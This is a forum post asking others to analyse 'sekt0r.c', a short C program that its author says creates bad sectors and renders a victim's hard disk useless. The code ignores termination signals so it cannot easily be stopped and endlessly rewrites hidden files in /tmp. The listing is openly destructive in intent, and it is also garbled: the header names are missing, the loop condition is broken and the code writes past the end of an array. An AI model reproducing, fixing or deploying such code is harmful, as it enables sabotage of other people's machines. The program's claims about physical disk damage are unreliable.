bad sector maker .....c++

hey guys analyze this code n tell me is it capable of what it says



/* sekt0r.c - create bad sectors on the hard disk.

*

* This program will create bad sectors on the hard disk. If you left it

* running for long enough, it could render a hard disk quite useless. When

* bad sectors are found, the sector is marked as bad, so fixing the hard disk

* is not an easy task. Unless the victim has time and knowledge to fix the

* disk, the hard drive can be left quite literally defective.

*

* I don't take responsibility for what you do with this program, enjoy.

*

* -shaun2k2

*/



#include

#include

#include

#include

#include

#include

#include



#define HDSIZE 640000



void handle_sig();



int main() {



int i = 0;

int x;

int fd[5];



signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);



char *buf;



buf = malloc(HDSIZE);



printf("sekt0r: trashing hard disk with bad sectors!\n");



while(1) {

fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);

fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);

fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);

fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);

fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);



for(x = 0; x <>
write(fd[x], buf, HDSIZE);

lseek(fd[x], 0, SEEK_SET);

close(fd[x]);



} /* end for() loop. */

} /* end while() loop. */

} /* end main(). */





void handle_sig() {

/* Reset signal handlers. */

signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);



printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");

return; /* go back to creating bad sectors. */

}